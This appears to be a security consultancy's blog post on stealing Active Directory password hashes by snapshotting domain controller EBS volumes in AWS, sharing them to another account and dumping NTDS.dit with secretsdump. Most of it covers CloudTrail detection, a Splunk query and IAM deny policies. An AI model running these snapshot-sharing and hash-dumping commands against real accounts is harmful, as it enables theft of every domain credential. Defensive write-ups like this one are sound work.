Protecting AWS Cloud Snapshots: The Hidden Risk of Stolen Active Directory Credentials

Security teams invest heavily in endpoint detection, network monitoring, and credential protection. Domain controllers receive particular attention - EDR agents, memory protection, privileged access management, and monitoring for tools like Mimikatz or Volume Shadow Copy abuse. These controls work for traditional on-premises attacks. But in AWS, there’s a different path to the same data.

Attackers who gain access to AWS credentials or instance roles can copy entire domain controller volumes using EBS snapshots—without ever touching the running system. No process execution, no file access, no network traffic to the domain controller. The NTDS.dit database containing every user’s password hash gets extracted through AWS APIs, completely bypassing endpoint security.

This isn’t theoretical. We’ve seen this technique used in real incidents, and many security programs remain unaware of the exposure.

Active Directory in AWS: Why This Matters

Most enterprises run domain controllers in AWS to support cloud and hybrid workloads. These systems authenticate users, manage permissions, and control access to critical resources across both cloud and on-premises environments.

The NTDS.dit database on these domain controllers stores:

• Password hashes for every domain account (NTLM format)
• Kerberos keys for service accounts
• Group memberships and security policies
• Historical password hashes (if enabled)

If an attacker obtains this database, they can:

• Crack weak passwords offline at scale
• Use pass-the-hash techniques for lateral movement
• Impersonate any user without knowing their password
• Bypass multi-factor authentication that only protects interactive logins
• Maintain persistent access even after password resets

Traditional attacks extract NTDS.dit by compromising the domain controller itself—exploiting vulnerabilities, stealing credentials, or dumping memory. AWS snapshots provide a cleaner path: copy the entire disk through the cloud control plane.

How the Attack Works

Step 1: Initial Access

The attacker needs AWS credentials or an EC2 instance role with snapshot permissions. This could come from:

• Compromised IAM users or access keys
• Over-permissioned EC2 instance roles
• Misconfigured assume-role policies
• Stolen temporary credentials from AWS SSO or federation

Step 2: Identify Domain Controller Volumes

The attacker uses AWS APIs to identify EC2 instances running domain controllers. Domain controllers are typically identifiable through naming conventions, tags, or security group configurations.

Step 3: Create EBS Snapshots

Using the CreateSnapshot API, the attacker creates point-in-time copies of the domain controller’s volumes:

aws ec2 create-snapshot --volume-id vol-1234567890abcdef0 \
  --description "backup-dc01" --tag-specifications 'ResourceType=snapshot,Tags=[{Key=Name,Value=dc-backup}]'

This operation completes in minutes for typical domain controller volumes. The source instance remains completely unaffected—no performance impact, no alerts from endpoint security.

Step 4: Exfiltrate the Snapshot

The attacker copies or shares the snapshot to an AWS account they control:

Option A: Copy to attacker’s account

aws ec2 copy-snapshot --source-region us-east-1 \
  --source-snapshot-id snap-0123456789abcdef0 \
  --destination-region us-west-2 \
  --encrypted

Option B: Share with attacker’s account

aws ec2 modify-snapshot-attribute --snapshot-id snap-0123456789abcdef0 \
  --attribute createVolumePermission --operation-type add \
  --user-ids 123456789012

Once the snapshot exists in the attacker’s account, the target organization loses all visibility and control over the data.

Step 5: Extract NTDS.dit

In their own AWS environment, the attacker:

1. Creates a volume from the snapshot
2. Attaches it to a Linux or Windows instance they control
3. Mounts the filesystem (read-only is sufficient)
4. Extracts NTDS.dit and the SYSTEM registry hive
5. Uses standard tools to dump hashes offline

Example extraction using impacket:

# After mounting the volume
secretsdump.py -system /mnt/Windows/System32/config/SYSTEM \
  -ntds /mnt/Windows/NTDS/ntds.dit LOCAL

The attacker now has every domain credential without ever touching the live domain controller.

Why Traditional Security Misses This

Endpoint Detection is Blind

EDR tools on the domain controller see nothing. The running operating system isn’t involved—the snapshot copies the disk at the block storage layer. No suspicious processes, no file access, no memory manipulation. From the domain controller’s perspective, nothing happened.

Network Monitoring Sees Nothing

There’s no network traffic between the attacker and the domain controller. All communication occurs through AWS APIs, typically over HTTPS to AWS service endpoints. Network-based detection looking for LDAP queries, RPC calls, or SMB traffic won’t trigger.

Memory-Based Protections Don’t Apply

Controls that prevent tools like Mimikatz from reading LSASS memory are irrelevant. The attacker never touches memory—they’re working with a static copy of the disk.

Privileged Access Management Gaps

PAM solutions that require approval for RDP or SSH access to domain controllers don’t cover AWS API operations. The attacker bypasses all interactive login controls.

Detection Strategies

Detecting this attack requires visibility into AWS control plane activity through CloudTrail monitoring.

Critical CloudTrail Events

Snapshot creation on domain controller volumes:

{
  "eventName": "CreateSnapshot",
  "requestParameters": {
    "volumeId": "vol-dc-volume",
    "description": "backup"
  },
  "userIdentity": {
    "type": "IAMUser",
    "principalId": "AIDAI...",
    "arn": "arn:aws:iam::123456789012:user/compromised-user"
  }
}

Snapshot sharing or making public:

{
  "eventName": "ModifySnapshotAttribute",
  "requestParameters": {
    "snapshotId": "snap-0123456789abcdef0",
    "createVolumePermission": {
      "add": [{"userId": "987654321098"}]
    }
  }
}

Cross-region snapshot copying:

{
  "eventName": "CopySnapshot",
  "requestParameters": {
    "sourceSnapshotId": "snap-0123456789abcdef0",
    "sourceRegion": "us-east-1",
    "destinationRegion": "us-west-2"
  }
}

Detection Rules to Implement

1. Alert on snapshots created from domain controller volumes

   • Tag domain controller instances and volumes for identification
   • Alert on any CreateSnapshot event for these resources
   • Investigate unauthorized or unexpected backup activity

2. Block or alert on snapshot sharing

   • Monitor ModifySnapshotAttribute events
   • Alert on any attempt to make snapshots public or share with external accounts
   • Maintain an allowlist of approved AWS account IDs for sharing

3. Monitor cross-region snapshot operations

   • CopySnapshot events moving snapshots to unexpected regions
   • Unusual patterns like snapshots being copied then immediately deleted

4. Detect anomalous snapshot patterns

   • Users or roles creating snapshots who don’t normally perform backup operations
   • Snapshots created outside of maintenance windows
   • Multiple snapshots of the same volume in a short timeframe

SIEM Detection Example (Splunk)

index=cloudtrail eventName IN ("CreateSnapshot", "ModifySnapshotAttribute", "CopySnapshot")
| eval is_dc_volume=if(like(requestParameters.volumeId, "%dc%") OR like(requestParameters.description, "%domain%"), 1, 0)
| where is_dc_volume=1 OR eventName="ModifySnapshotAttribute"
| table _time, userIdentity.principalId, eventName, requestParameters.volumeId, requestParameters.snapshotId, sourceIPAddress
| sort -_time

Defensive Controls

IAM Permission Hardening

Apply least-privilege IAM policies that restrict snapshot operations:

Deny snapshot creation on critical volumes:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "DenySnapshotOnDomainControllers",
    "Effect": "Deny",
    "Action": [
      "ec2:CreateSnapshot",
      "ec2:CreateSnapshots"
    ],
    "Resource": "arn:aws:ec2:*:*:volume/*",
    "Condition": {
      "StringEquals": {
        "aws:ResourceTag/Role": "DomainController"
      }
    }
  }]
}

Prevent snapshot sharing outside organization:

{
  "Sid": "DenyExternalSnapshotSharing",
  "Effect": "Deny",
  "Action": "ec2:ModifySnapshotAttribute",
  "Resource": "*",
  "Condition": {
    "StringNotEquals": {
      "ec2:Add/userId": ["123456789012", "210987654321"]
    }
  }
}

Conclusion

Active Directory credential theft through AWS snapshot abuse represents a category of attacks that traditional security controls aren’t designed to detect. Organizations need to extend their security programs beyond endpoint and network monitoring to include cloud control plane visibility.

As more organizations move domain controllers to AWS, this attack surface will continue to grow. Security teams should assess their current visibility into snapshot operations, implement the controls described above, and treat cloud snapshots as the sensitive assets they are—equivalent to direct access to the domain controller’s disk.

Key Takeaways

• AWS EBS snapshots can copy domain controller disks without touching the running system
• Traditional endpoint security cannot detect this attack vector
• CloudTrail monitoring is essential for visibility into snapshot operations
• Least-privilege IAM policies can be used to restrict snapshot creation and sharing ability
• Treat snapshots as sensitive assets requiring the same protection as live systems

Need help assessing your AWS and Active Directory security posture? Contact Eviant at security@eviant.com.au for a comprehensive cloud security review.